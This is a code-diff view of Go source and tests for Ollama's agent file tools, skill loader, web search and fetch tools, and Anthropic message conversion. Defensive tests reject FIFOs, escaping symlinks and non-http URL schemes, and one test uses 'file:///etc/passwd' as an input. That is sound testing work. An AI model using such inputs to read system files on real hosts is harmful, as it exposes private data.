result, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
"path": "note.txt",
"start": 3,
})
if err != nil {
t.Fatal(err)
}
if result.Content != "three\nfour\n" {
t.Fatalf("content = %q", result.Content)
}
}
func TestReadEndOnly(t *testing.T) {
dir := t.TempDir()
if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte("one\ntwo\nthree\nfour\n"), 0o644); err != nil {
t.Fatal(err)
}
result, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
"path": "note.txt",
"end": 2,
})
if err != nil {
t.Fatal(err)
}
if result.Content != "one\ntwo\n" {
t.Fatalf("content = %q", result.Content)
}
}
func TestReadSelectionRejectsHugeSingleLine(t *testing.T) {
dir := t.TempDir()
if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte(strings.Repeat("x", maxReadBytes+1)), 0o644); err != nil {
t.Fatal(err)
}
_, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
"path": "note.txt",
"start": 1,
"end": 1,
})
if err == nil {
t.Fatal("expected huge selected line to fail")
}
if !strings.Contains(err.Error(), "selected content is too large") {
t.Fatalf("err = %v", err)
}
}
func TestReadAllWithinLimitRejectsGrowingRead(t *testing.T) {
reader := io.MultiReader(
strings.NewReader(strings.Repeat("x", maxReadBytes)),
strings.NewReader("x"),
)
_, err := readAllWithinLimit(reader, maxReadBytes)
if err == nil {
t.Fatal("expected over-limit read to fail")
}
if !strings.Contains(err.Error(), "content is too large") {
t.Fatalf("err = %v", err)
}
}
func TestReadRejectsInvalidRange(t *testing.T) {
dir := t.TempDir()
if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte("one\ntwo\n"), 0o644); err != nil {
t.Fatal(err)
}
_, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
"path": "note.txt",
"start": 4,
"end": 2,
})
if err == nil {
t.Fatal("expected invalid range to fail")
}
if !strings.Contains(err.Error(), "end must") {
t.Fatalf("err = %v", err)
}
}
+121
View File
@@ -0,0 +1,121 @@
//go:build !windows
package tools
import (
"context"
"os"
"path/filepath"
"strings"
"syscall"
"testing"
"time"
"github.com/ollama/ollama/agent"
)
func TestOpenRegularFileRejectsFIFO(t *testing.T) {
dir := t.TempDir()
path := filepath.Join(dir, "pipe")
if err := syscall.Mkfifo(path, 0o600); err != nil {
t.Skipf("mkfifo unavailable: %v", err)
}
done := make(chan error, 1)
go func() {
file, _, err := openRegularFile(dir, "pipe", false)
if file != nil {
file.Close()
}
done <- err
}()
select {
case err := <-done:
if err == nil {
t.Fatal("expected FIFO to be rejected")
}
if !strings.Contains(err.Error(), "not a regular file") {
t.Fatalf("err = %v", err)
}
case <-time.After(time.Second):
t.Fatal("openRegularFile blocked on FIFO")
}
}
func TestEditPreservesModeDespiteUmask(t *testing.T) {
oldUmask := syscall.Umask(0o077)
defer syscall.Umask(oldUmask)
dir := t.TempDir()
path := filepath.Join(dir, "note.txt")
if err := os.WriteFile(path, []byte("hello\n"), 0o666); err != nil {
t.Fatal(err)
}
if err := os.Chmod(path, 0o666); err != nil {
t.Fatal(err)
}
_, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
"path": "note.txt",
"old_text": "hello",
"new_text": "hi",
})
if err != nil {
t.Fatal(err)
}
info, err := os.Stat(path)
if err != nil {
t.Fatal(err)
}
if got := info.Mode().Perm(); got != 0o666 {
t.Fatalf("mode = %#o, want 0666", got)
}
}
func TestReadRejectsSymlinkEscapingWorkingDir(t *testing.T) {
root := t.TempDir()
secret := filepath.Join(t.TempDir(), "secret.txt")
if err := os.WriteFile(secret, []byte("top secret\n"), 0o600); err != nil {
t.Fatal(err)
}
link := filepath.Join(root, "notes")
if err := os.Symlink(secret, link); err != nil {
t.Fatal(err)
}
_, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: root}, map[string]any{
"path": "notes",
})
if err == nil {
t.Fatal("expected symlink escaping working dir to be rejected")
}
if !strings.Contains(err.Error(), "symlink") {
t.Fatalf("err = %v, want symlink rejection", err)
}
}
func TestReadRejectsSymlinkInsideWorkingDirToOutside(t *testing.T) {
root := t.TempDir()
target := filepath.Join(root, "real.txt")
if err := os.WriteFile(target, []byte("hello\n"), 0o644); err != nil {
t.Fatal(err)
}
// A symlink to a sibling file still resolves inside the root; Read must
// reject it regardless, consistent with Edit's rejectFinalSymlink.
link := filepath.Join(root, "alias")
if err := os.Symlink(target, link); err != nil {
t.Fatal(err)
}
_, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: root}, map[string]any{
"path": "alias",
})
if err == nil {
t.Fatal("expected symlink to be rejected even when target is inside root")
}
if !strings.Contains(err.Error(), "symlink") {
t.Fatalf("err = %v, want symlink rejection", err)
}
}
+38
View File
@@ -0,0 +1,38 @@
package tools
import (
"context"
"errors"
"github.com/ollama/ollama/agent"
"github.com/ollama/ollama/api"
)
// Skill is the model-facing adapter for the core agent skill catalog.
// It only supplies instructions; regular tools retain their own approval
// requirements for filesystem or network access.
type Skill struct{ Catalog *agent.SkillCatalog }
func (t *Skill) Name() string { return "skill" }
func (t *Skill) Description() string {
return "Load a named Ollama skill and return its instructions."
}
func (t *Skill) Schema() api.ToolFunction {
props := api.NewToolPropertiesMap()
props.Set("name", api.ToolProperty{Type: api.PropertyType{"string"}, Description: "Name of the skill to load."})
return api.ToolFunction{Name: t.Name(), Description: t.Description(), Parameters: api.ToolFunctionParameters{Type: "object", Properties: props, Required: []string{"name"}}}
}
func (t *Skill) Execute(_ context.Context, _ agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
name, ok := args["name"].(string)
if !ok {
return agent.ToolResult{}, errors.New("name parameter is required")
}
skill, err := t.Catalog.Load(name)
if err != nil {
return agent.ToolResult{}, err
}
return agent.ToolResult{Content: skill.Content()}, nil
}
+34
View File
@@ -0,0 +1,34 @@
package tools
import (
"context"
"os"
"path/filepath"
"strings"
"testing"
"github.com/ollama/ollama/agent"
)
func TestSkillLoadsCoreCatalogWithoutApproval(t *testing.T) {
dir := t.TempDir()
path := filepath.Join(dir, "release-notes")
if err := os.Mkdir(path, 0o755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(path, "SKILL.md"), []byte("---\nname: release-notes\ndescription: Draft release notes.\n---\nUse concise bullets."), 0o644); err != nil {
t.Fatal(err)
}
catalog, err := agent.DiscoverSkills(dir)
if err != nil {
t.Fatal(err)
}
tool := &Skill{Catalog: catalog}
if agent.ToolRequiresApproval(tool, map[string]any{"name": "release-notes"}) {
t.Fatal("loading a skill must not change ordinary tool approval semantics")
}
result, err := tool.Execute(context.Background(), agent.ToolContext{}, map[string]any{"name": "release-notes"})
if err != nil || !strings.Contains(result.Content, "Use concise bullets.") {
t.Fatalf("tool result = %#v, %v", result, err)
}
}
+186
View File
@@ -0,0 +1,186 @@
package tools
import (
"context"
"errors"
"fmt"
"net/url"
"strings"
"time"
"github.com/ollama/ollama/agent"
"github.com/ollama/ollama/api"
internalcloud "github.com/ollama/ollama/internal/cloud"
)
const (
maxWebFetchContentRunes = 60_000
webSearchTimeout = 15 * time.Second
webFetchTimeout = 30 * time.Second
)
var ErrWebAuthRequired = errors.New("Not authenticated. Run `ollama signin` and try again.")
type WebSearch struct{}
func (w *WebSearch) Name() string {
return "web_search"
}
func (w *WebSearch) Description() string {
return "Search the web for current information that may not be in the model's training data."
}
func (w *WebSearch) Schema() api.ToolFunction {
props := api.NewToolPropertiesMap()
props.Set("query", api.ToolProperty{
Type: api.PropertyType{"string"},
Description: "The search query to look up on the web.",
})
return api.ToolFunction{
Name: w.Name(),
Description: w.Description(),
Parameters: api.ToolFunctionParameters{
Type: "object",
Properties: props,
Required: []string{"query"},
},
}
}
func (w *WebSearch) RequiresApproval(map[string]any) bool {
return true
}
func (w *WebSearch) Execute(ctx context.Context, _ agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
// TODO: use shared agent.RequiredStringArg for the "query" parameter (see agent package cleanup plan).
if internalcloud.Disabled() {
return agent.ToolResult{}, errors.New(internalcloud.DisabledError("web search is unavailable"))
}
query, ok := args["query"].(string)
if !ok || strings.TrimSpace(query) == "" {
return agent.ToolResult{}, fmt.Errorf("query parameter is required")
}
client, err := api.ClientFromEnvironment()
if err != nil {
return agent.ToolResult{}, err
}
ctx, cancel := context.WithTimeout(ctx, webSearchTimeout)
defer cancel()
searchResp, err := client.WebSearchExperimental(ctx, &api.WebSearchRequest{Query: query, MaxResults: 5})
if err != nil {
var authErr api.AuthorizationError
if errors.As(err, &authErr) {
return agent.ToolResult{}, ErrWebAuthRequired
}
return agent.ToolResult{}, err
}
if len(searchResp.Results) == 0 {
return agent.ToolResult{Content: "No results found for query: " + query}, nil
}
var sb strings.Builder
sb.WriteString(fmt.Sprintf("Search results for: %s\n\n", query))
for i, result := range searchResp.Results {
sb.WriteString(fmt.Sprintf("%d. %s\n", i+1, result.Title))
sb.WriteString(fmt.Sprintf(" URL: %s\n", result.URL))
if result.Content != "" {
content := []rune(result.Content)
if len(content) > 300 {
content = append(content[:300], []rune("...")...)
}
sb.WriteString(fmt.Sprintf(" %s\n", string(content)))
}
sb.WriteByte('\n')
}
return agent.ToolResult{Content: sb.String()}, nil
}
type WebFetch struct{}
func (w *WebFetch) Name() string {
return "web_fetch"
}
func (w *WebFetch) Description() string {
return "Fetch and extract text content from a web page."
}
func (w *WebFetch) Schema() api.ToolFunction {
props := api.NewToolPropertiesMap()
props.Set("url", api.ToolProperty{
Type: api.PropertyType{"string"},
Description: "The URL to fetch and extract content from.",
})
return api.ToolFunction{
Name: w.Name(),
Description: w.Description(),
Parameters: api.ToolFunctionParameters{
Type: "object",
Properties: props,
Required: []string{"url"},
},
}
}
func (w *WebFetch) RequiresApproval(map[string]any) bool {
return true
}
func (w *WebFetch) Execute(ctx context.Context, _ agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
// TODO: use shared agent.RequiredStringArg for the "url" parameter (see agent package cleanup plan).
if internalcloud.Disabled() {
return agent.ToolResult{}, errors.New(internalcloud.DisabledError("web fetch is unavailable"))
}
urlStr, ok := args["url"].(string)
if !ok || strings.TrimSpace(urlStr) == "" {
return agent.ToolResult{}, fmt.Errorf("url parameter is required")
}
parsed, err := url.Parse(urlStr)
if err != nil {
return agent.ToolResult{}, fmt.Errorf("invalid URL: %w", err)
}
if scheme := strings.ToLower(parsed.Scheme); scheme != "http" && scheme != "https" {
return agent.ToolResult{}, fmt.Errorf("unsupported URL scheme %q: only http and https are allowed", parsed.Scheme)
}
client, err := api.ClientFromEnvironment()
if err != nil {
return agent.ToolResult{}, err
}
ctx, cancel := context.WithTimeout(ctx, webFetchTimeout)
defer cancel()
fetchResp, err := client.WebFetchExperimental(ctx, &api.WebFetchRequest{URL: urlStr})
if err != nil {
var authErr api.AuthorizationError
if errors.As(err, &authErr) {
return agent.ToolResult{}, ErrWebAuthRequired
}
return agent.ToolResult{}, err
}
var sb strings.Builder
if fetchResp.Title != "" {
sb.WriteString(fmt.Sprintf("Title: %s\n\n", fetchResp.Title))
}
if fetchResp.Content != "" {
sb.WriteString("Content:\n")
sb.WriteString(truncateWebFetchContent(fetchResp.Content))
} else {
sb.WriteString("No content could be extracted from the page.")
}
return agent.ToolResult{Content: sb.String()}, nil
}
func truncateWebFetchContent(content string) string {
return agent.Truncate(content, agent.TruncateConfig{
MaxRunes: maxWebFetchContentRunes,
Label: "tool output",
Hint: "Use a narrower request or search query if more detail is needed.",
})
}
+214
View File
@@ -0,0 +1,214 @@
package tools
import (
"encoding/json"
"errors"
"net/http"
"net/http/httptest"
"os"
"path/filepath"
"strings"
"testing"
coreagent "github.com/ollama/ollama/agent"
"github.com/ollama/ollama/api"
"github.com/ollama/ollama/envconfig"
internalcloud "github.com/ollama/ollama/internal/cloud"
)
func TestWebToolsRequireApproval(t *testing.T) {
if !coreagent.ToolRequiresApproval((&WebSearch{}), map[string]any{"query": "ollama"}) {
t.Fatal("web search should require approval")
}
if !coreagent.ToolRequiresApproval((&WebFetch{}), map[string]any{"url": "https://ollama.com"}) {
t.Fatal("web fetch should require approval")
}
}
var webToolCases = []struct {
name string
tool coreagent.Tool
args map[string]any
path string
operation string
}{
{"search", &WebSearch{}, map[string]any{"query": "ollama"}, "/api/experimental/web_search", "web search is unavailable"},
{"fetch", &WebFetch{}, map[string]any{"url": "https://ollama.com"}, "/api/experimental/web_fetch", "web fetch is unavailable"},
}
// enableWebToolsForTest isolates web tool tests from the runner's cloud
// policy. In particular, Windows can inherit both OLLAMA_NO_CLOUD and a
// server.json from USERPROFILE.
func enableWebToolsForTest(t *testing.T) {
t.Helper()
// Register before t.Setenv so the cache is refreshed after t.Setenv has
// restored the runner's environment during cleanup.
t.Cleanup(envconfig.ReloadServerConfig)
home := t.TempDir()
t.Setenv("HOME", home)
t.Setenv("USERPROFILE", home)
t.Setenv("OLLAMA_NO_CLOUD", "")
envconfig.ReloadServerConfig()
}
// runWebTool executes tool against a stub server that responds to every
// request with status and body, returning the resulting error.
func runWebTool(t *testing.T, tool coreagent.Tool, args map[string]any, path string, status int, body string) error {
t.Helper()
ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.URL.Path != path {
t.Fatalf("path = %q, want %q", r.URL.Path, path)
}
w.Header().Set("Content-Type", "application/json")
w.WriteHeader(status)
_, _ = w.Write([]byte(body))
}))
t.Cleanup(ts.Close)
t.Setenv("OLLAMA_HOST", ts.URL)
_, err := tool.Execute(t.Context(), coreagent.ToolContext{}, args)
return err
}
func TestWebToolsReportAuthenticationError(t *testing.T) {
enableWebToolsForTest(t)
for _, tt := range webToolCases {
t.Run(tt.name, func(t *testing.T) {
err := runWebTool(t, tt.tool, tt.args, tt.path, http.StatusUnauthorized,
`{"error":"unauthorized","signin_url":"https://ollama.com/signin"}`)
if !errors.Is(err, ErrWebAuthRequired) {
t.Fatalf("error = %v, want %v", err, ErrWebAuthRequired)
}
})
}
}
func TestWebToolsPreserveNonAuthenticationErrors(t *testing.T) {
enableWebToolsForTest(t)
for _, tt := range webToolCases {
t.Run(tt.name, func(t *testing.T) {
err := runWebTool(t, tt.tool, tt.args, tt.path, http.StatusTooManyRequests,
`{"error":"web search quota exceeded"}`)
if err == nil {
t.Fatal("expected error")
}
if !strings.Contains(err.Error(), "web search quota exceeded") {
t.Fatalf("error = %q, want original error message", err)
}
})
}
}
func TestWebToolsIgnoreInheritedCloudPolicy(t *testing.T) {
// This cleanup is registered before the test environment, so it restores
// the server config cache after t.Setenv restores the runner's values.
t.Cleanup(envconfig.ReloadServerConfig)
home := t.TempDir()
configPath := filepath.Join(home, ".ollama", "server.json")
if err := os.MkdirAll(filepath.Dir(configPath), 0o755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(configPath, []byte(`{"disable_ollama_cloud":true}`), 0o644); err != nil {
t.Fatal(err)
}
t.Setenv("HOME", home)
t.Setenv("USERPROFILE", home)
t.Setenv("OLLAMA_NO_CLOUD", "1")
envconfig.ReloadServerConfig()
enableWebToolsForTest(t)
err := runWebTool(t, &WebSearch{}, map[string]any{"query": "ollama"}, "/api/experimental/web_search", http.StatusUnauthorized,
`{"error":"unauthorized","signin_url":"https://ollama.com/signin"}`)
if !errors.Is(err, ErrWebAuthRequired) {
t.Fatalf("error = %v, want %v", err, ErrWebAuthRequired)
}
}
func TestWebFetchRejectsUnsupportedScheme(t *testing.T) {
enableWebToolsForTest(t)
tests := []struct {
name string
url string
wantErr bool
}{
{name: "file scheme", url: "file:///etc/passwd", wantErr: true},
{name: "data scheme", url: "data:text/plain,secret", wantErr: true},
{name: "ftp scheme", url: "ftp://example.com/secret", wantErr: true},
{name: "http allowed", url: "http://example.com", wantErr: false},
{name: "https allowed", url: "https://example.com", wantErr: false},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
_, err := (&WebFetch{}).Execute(t.Context(), coreagent.ToolContext{}, map[string]any{"url": tt.url})
if tt.wantErr && err == nil {
t.Fatal("expected unsupported scheme to be rejected")
}
// For allowed schemes we expect an error only from the missing
// server/auth path, not from scheme validation. The http/https
// cases reach the client and may fail on connection/auth; we only
// assert that the error is NOT a scheme error.
if !tt.wantErr && err != nil && strings.Contains(err.Error(), "unsupported URL scheme") {
t.Fatalf("http/https rejected as unsupported: %v", err)
}
})
}
}
func TestWebFetchBoundsContentBeforeReturning(t *testing.T) {
enableWebToolsForTest(t)
ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.URL.Path != "/api/experimental/web_fetch" {
t.Fatalf("path = %q, want /api/experimental/web_fetch", r.URL.Path)
}
var req api.WebFetchRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
t.Fatal(err)
}
if req.URL != "https://ollama.com" {
t.Fatalf("request URL = %q, want https://ollama.com", req.URL)
}
if err := json.NewEncoder(w).Encode(api.WebFetchResponse{
Title: "Ollama",
Content: strings.Repeat("x", maxWebFetchContentRunes+25),
}); err != nil {
t.Fatal(err)
}
}))
defer ts.Close()
t.Setenv("OLLAMA_HOST", ts.URL)
result, err := (&WebFetch{}).Execute(t.Context(), coreagent.ToolContext{}, map[string]any{
"url": "https://ollama.com",
})
if err != nil {
t.Fatal(err)
}
if !strings.Contains(result.Content, "[tool output truncated: showing first ~") ||
!strings.Contains(result.Content, "omitted ~7 tokens") ||
!strings.Contains(result.Content, "Use a narrower request or search query") {
t.Fatalf("content missing truncation marker: %q", result.Content)
}
if count := strings.Count(result.Content, "x"); count != maxWebFetchContentRunes {
t.Fatalf("captured content count = %d, want %d", count, maxWebFetchContentRunes)
}
}
func TestWebToolsRejectWhenCloudDisabled(t *testing.T) {
t.Setenv("OLLAMA_NO_CLOUD", "1")
for _, tt := range webToolCases {
t.Run(tt.name, func(t *testing.T) {
_, err := tt.tool.Execute(t.Context(), coreagent.ToolContext{}, tt.args)
want := internalcloud.DisabledError(tt.operation)
if err == nil || err.Error() != want {
t.Fatalf("error = %v, want %q", err, want)
}
})
}
}
+118 -28
View File
@@ -78,6 +78,11 @@ type MessagesRequest struct {
ToolChoice *ToolChoice `json:"tool_choice,omitempty"`
Thinking *ThinkingConfig `json:"thinking,omitempty"`
Metadata *Metadata `json:"metadata,omitempty"`
OutputConfig *OutputConfig `json:"output_config,omitempty"`
}
type OutputConfig struct {
Effort string `json:"effort,omitempty"`
}
// MessageParam represents a message in the request
@@ -161,7 +166,7 @@ type WebSearchToolResultError struct {
// ImageSource represents the source of an image
type ImageSource struct {
Type string `json:"type"` // "base64" or "url"
Type string `json:"type"` // "base64"
MediaType string `json:"media_type,omitempty"`
Data string `json:"data,omitempty"`
URL string `json:"url,omitempty"`
@@ -373,9 +378,26 @@ func FromMessagesRequest(r MessagesRequest) (*api.ChatRequest, error) {
}
var think *api.ThinkValue
normalizedEffort := ""
if r.OutputConfig != nil {
normalizedEffort = strings.ToLower(strings.TrimSpace(r.OutputConfig.Effort))
if normalizedEffort == "xhigh" {
normalizedEffort = "high"
}
}
if r.Thinking != nil && r.Thinking.Type == "enabled" {
think = &api.ThinkValue{Value: true}
}
if r.Thinking != nil && r.Thinking.Type == "disabled" {
think = &api.ThinkValue{Value: false}
}
if think == nil && r.OutputConfig != nil {
switch normalizedEffort {
case "high", "medium", "low", "max":
think = &api.ThinkValue{Value: normalizedEffort}
}
}
stream := r.Stream
convertedRequest := &api.ChatRequest{
@@ -425,17 +447,12 @@ func convertMessage(msg MessageParam) ([]api.Message, error) {
return nil, errors.New("invalid image source")
}
if block.Source.Type == "base64" {
decoded, err := base64.StdEncoding.DecodeString(block.Source.Data)
if err != nil {
logutil.Trace("anthropic: invalid base64 image data", "role", role, "error", err)
return nil, fmt.Errorf("invalid base64 image data: %w", err)
}
images = append(images, decoded)
} else {
logutil.Trace("anthropic: unsupported image source type", "role", role, "source_type", block.Source.Type)
return nil, fmt.Errorf("invalid image source type: %s. Only base64 images are supported.", block.Source.Type)
decoded, err := resolveImageSource(block.Source)
if err != nil {
logutil.Trace("anthropic: unsupported image source", "role", role, "source_type", block.Source.Type, "error", err)
return nil, err
}
images = append(images, decoded)
case "tool_use":
toolUseBlocks++
@@ -457,26 +474,16 @@ func convertMessage(msg MessageParam) ([]api.Message, error) {
case "tool_result":
toolResultBlocks++
var resultContent string
switch c := block.Content.(type) {
case string:
resultContent = c
case []any:
for _, cb := range c {
if cbMap, ok := cb.(map[string]any); ok {
if cbMap["type"] == "text" {
if text, ok := cbMap["text"].(string); ok {
resultContent += text
}
}
}
}
resultContent, resultImages, err := convertToolResultContent(block.Content)
if err != nil {
logutil.Trace("anthropic: invalid tool_result content", "role", role, "error", err)
return nil, err
}
toolResults = append(toolResults, api.Message{
Role: "tool",
Content: resultContent,
Images: resultImages,
ToolCallID: block.ToolUseID,
})
@@ -508,6 +515,10 @@ func convertMessage(msg MessageParam) ([]api.Message, error) {
}
}
if role == "user" && len(toolResults) > 0 {
messages = append(messages, toolResults...)
}
if textContent.Len() > 0 || len(images) > 0 || len(toolCalls) > 0 || thinking != "" {
m := api.Message{
Role: role,
@@ -519,8 +530,10 @@ func convertMessage(msg MessageParam) ([]api.Message, error) {
messages = append(messages, m)
}
// Add tool results as separate messages
messages = append(messages, toolResults...)
// Add tool results as separate messages.
if role != "user" || len(toolResults) == 0 {
messages = append(messages, toolResults...)
}
logutil.Trace("anthropic: converted block message",
"role", role,
"blocks", len(msg.Content),
@@ -764,6 +777,18 @@ func (c *StreamConverter) Process(r api.ChatResponse) []StreamEvent {
}
if r.Message.Thinking != "" && !c.thinkingDone {
if c.textStarted {
events = append(events, StreamEvent{
Event: "content_block_stop",
Data: ContentBlockStopEvent{
Type: "content_block_stop",
Index: c.contentIndex,
},
})
c.contentIndex++
c.textStarted = false
}
if !c.thinkingStarted {
c.thinkingStarted = true
events = append(events, StreamEvent{
@@ -969,6 +994,71 @@ func GenerateMessageID() string {
return generateID("msg")
}
func resolveImageSource(source *ImageSource) (api.ImageData, error) {
if source.Type != "base64" {
return nil, fmt.Errorf("invalid image source type: %s. Only base64 images are supported.", source.Type)
}
decoded, err := base64.StdEncoding.DecodeString(source.Data)
if err != nil {
return nil, fmt.Errorf("invalid base64 image data: %w", err)
}
return decoded, nil
}
func convertToolResultContent(content any) (string, []api.ImageData, error) {
switch c := content.(type) {
case nil:
return "", nil, nil
case string:
return c, nil, nil
case []any:
var text strings.Builder
var images []api.ImageData
for _, cb := range c {
cbMap, ok := cb.(map[string]any)
if !ok {
continue
}
switch cbMap["type"] {
case "text":
if t, ok := cbMap["text"].(string); ok {
text.WriteString(t)
}
case "image":
rawSource, ok := cbMap["source"].(map[string]any)
if !ok {
return "", nil, errors.New("invalid tool_result image source")
}
var source ImageSource
if rawType, ok := rawSource["type"].(string); ok {
source.Type = rawType
}
if rawMediaType, ok := rawSource["media_type"].(string); ok {
source.MediaType = rawMediaType
}
if rawData, ok := rawSource["data"].(string); ok {
source.Data = rawData
}
img, err := resolveImageSource(&source)
if err != nil {
return "", nil, err
}
images = append(images, img)
}
}
return text.String(), images, nil
default:
return "", nil, nil
}
}
// ptr returns a pointer to the given string value
func ptr(s string) *string {
return &s
+286
View File
@@ -3,6 +3,7 @@ package anthropic
import (
"encoding/base64"
"encoding/json"
"fmt"
"strings"
"testing"
@@ -271,6 +272,241 @@ func TestFromMessagesRequest_WithToolResult(t *testing.T) {
}
}
func TestFromMessagesRequest_WithToolResultImage(t *testing.T) {
imgData, _ := base64.StdEncoding.DecodeString(testImage)
req := MessagesRequest{
Model: "test-model",
MaxTokens: 1024,
Messages: []MessageParam{
{
Role: "user",
Content: []ContentBlock{
{
Type: "tool_result",
ToolUseID: "call_img",
Content: []any{
map[string]any{"type": "text", "text": "Attached image"},
map[string]any{
"type": "image",
"source": map[string]any{
"type": "base64",
"media_type": "image/png",
"data": testImage,
},
},
},
},
},
},
},
}
result, err := FromMessagesRequest(req)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if len(result.Messages) != 1 {
t.Fatalf("expected 1 message, got %d", len(result.Messages))
}
msg := result.Messages[0]
if msg.Role != "tool" {
t.Errorf("expected role 'tool', got %q", msg.Role)
}
if msg.ToolCallID != "call_img" {
t.Errorf("expected tool_call_id 'call_img', got %q", msg.ToolCallID)
}
if msg.Content != "Attached image" {
t.Errorf("unexpected content: %q", msg.Content)
}
if len(msg.Images) != 1 {
t.Fatalf("expected 1 image, got %d", len(msg.Images))
}
if string(msg.Images[0]) != string(imgData) {
t.Error("image data mismatch")
}
}
func TestFromMessagesRequest_WithToolResultFollowedByUserText(t *testing.T) {
req := MessagesRequest{
Model: "test-model",
MaxTokens: 1024,
Messages: []MessageParam{
{
Role: "assistant",
Content: []ContentBlock{
{
Type: "tool_use",
ID: "call_read",
Name: "Read",
Input: makeArgs("file_path", "/Users/hoyyeva/Desktop/aaa.png"),
},
},
},
{
Role: "user",
Content: []ContentBlock{
{
Type: "tool_result",
ToolUseID: "call_read",
Content: "Read image (311.5KB)",
},
{
Type: "text",
Text: ptr("Please describe it."),
},
},
},
},
}
result, err := FromMessagesRequest(req)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if len(result.Messages) != 3 {
t.Fatalf("expected 3 messages, got %d", len(result.Messages))
}
if result.Messages[1].Role != "tool" {
t.Fatalf("expected second message to be tool, got %q", result.Messages[1].Role)
}
if result.Messages[1].ToolCallID != "call_read" {
t.Fatalf("expected tool_call_id 'call_read', got %q", result.Messages[1].ToolCallID)
}
if result.Messages[2].Role != "user" {
t.Fatalf("expected third message to be user, got %q", result.Messages[2].Role)
}
if result.Messages[2].Content != "Please describe it." {
t.Fatalf("unexpected user content: %q", result.Messages[2].Content)
}
}
func TestFromMessagesRequest_WithOutputConfigEffort(t *testing.T) {
req := MessagesRequest{
Model: "gemma4",
MaxTokens: 32000,
Messages: []MessageParam{
{
Role: "user",
Content: textContent("Describe the image."),
},
},
OutputConfig: &OutputConfig{
Effort: "high",
},
}
result, err := FromMessagesRequest(req)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if result.Think == nil {
t.Fatal("expected think to be set from output_config.effort")
}
if got := result.Think.String(); got != "high" {
t.Fatalf("expected think level 'high', got %q", got)
}
}
func TestFromMessagesRequest_WithOutputConfigEffortXHighMapsToHigh(t *testing.T) {
req := MessagesRequest{
Model: "gemma4",
MaxTokens: 32000,
Messages: []MessageParam{
{
Role: "user",
Content: textContent("Describe the image."),
},
},
OutputConfig: &OutputConfig{
Effort: "xhigh",
},
}
result, err := FromMessagesRequest(req)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if result.Think == nil {
t.Fatal("expected think to be set from output_config.effort")
}
if got := result.Think.String(); got != "high" {
t.Fatalf("expected think level 'high' for xhigh effort, got %q", got)
}
}
func TestFromMessagesRequest_ThinkingDisabledOverridesOutputConfigEffort(t *testing.T) {
req := MessagesRequest{
Model: "gemma4",
MaxTokens: 32000,
Messages: []MessageParam{
{
Role: "user",
Content: textContent("Describe the image."),
},
},
Thinking: &ThinkingConfig{
Type: "disabled",
},
OutputConfig: &OutputConfig{
Effort: "high",
},
}
result, err := FromMessagesRequest(req)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if result.Think == nil {
t.Fatal("expected think to be set")
}
if got := result.Think.Value; got != false {
t.Fatalf("expected think=false when thinking is disabled, got %v", got)
}
}
func TestFromMessagesRequest_ThinkingAdaptiveUsesOutputConfigEffort(t *testing.T) {
req := MessagesRequest{
Model: "gemma4",
MaxTokens: 32000,
Messages: []MessageParam{
{
Role: "user",
Content: textContent("Describe the image."),
},
},
Thinking: &ThinkingConfig{
Type: "adaptive",
},
OutputConfig: &OutputConfig{
Effort: "high",
},
}
result, err := FromMessagesRequest(req)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if result.Think == nil {
t.Fatal("expected think to be set from output_config.effort")
}
if got := result.Think.String(); got != "high" {
t.Fatalf("expected think level 'high' for adaptive thinking, got %q", got)
}
}
func TestFromMessagesRequest_WithTools(t *testing.T) {
req := MessagesRequest{
Model: "test-model",
@@ -905,6 +1141,56 @@ func TestStreamConverter_ThinkingDirectlyFollowedByToolCall(t *testing.T) {
}
}
func TestStreamConverter_TextBeforeThinking(t *testing.T) {
conv := NewStreamConverter("msg_123", "test-model", 0)
responses := []api.ChatResponse{
{Message: api.Message{Role: "assistant", Content: "---\n"}},
{Message: api.Message{Role: "assistant", Thinking: "Let me think."}},
{
Message: api.Message{Role: "assistant", Content: "The answer."},
Done: true,
DoneReason: "stop",
Metrics: api.Metrics{PromptEvalCount: 10, EvalCount: 5},
},
}
var got []string
for _, response := range responses {
for _, event := range conv.Process(response) {
switch data := event.Data.(type) {
case ContentBlockStartEvent:
got = append(got, fmt.Sprintf("%s:%s:%d", event.Event, data.ContentBlock.Type, data.Index))
case ContentBlockDeltaEvent:
got = append(got, fmt.Sprintf("%s:%s:%d", event.Event, data.Delta.Type, data.Index))
case ContentBlockStopEvent:
got = append(got, fmt.Sprintf("%s:%d", event.Event, data.Index))
default:
got = append(got, event.Event)
}
}
}
want := []string{
"message_start",
"content_block_start:text:0",
"content_block_delta:text_delta:0",
"content_block_stop:0",
"content_block_start:thinking:1",
"content_block_delta:thinking_delta:1",
"content_block_stop:1",
"content_block_start:text:2",
"content_block_delta:text_delta:2",
"content_block_stop:2",
"message_delta",
"message_stop",
}
if diff := cmp.Diff(want, got); diff != "" {
t.Fatalf("unexpected stream events (-want +got):\n%s", diff)
}
}
func TestStreamConverter_ToolCallWithUnmarshalableArgs(t *testing.T) {
// Test that unmarshalable arguments (like channels) are handled gracefully
// and don't cause a panic or corrupt stream
+34
View File
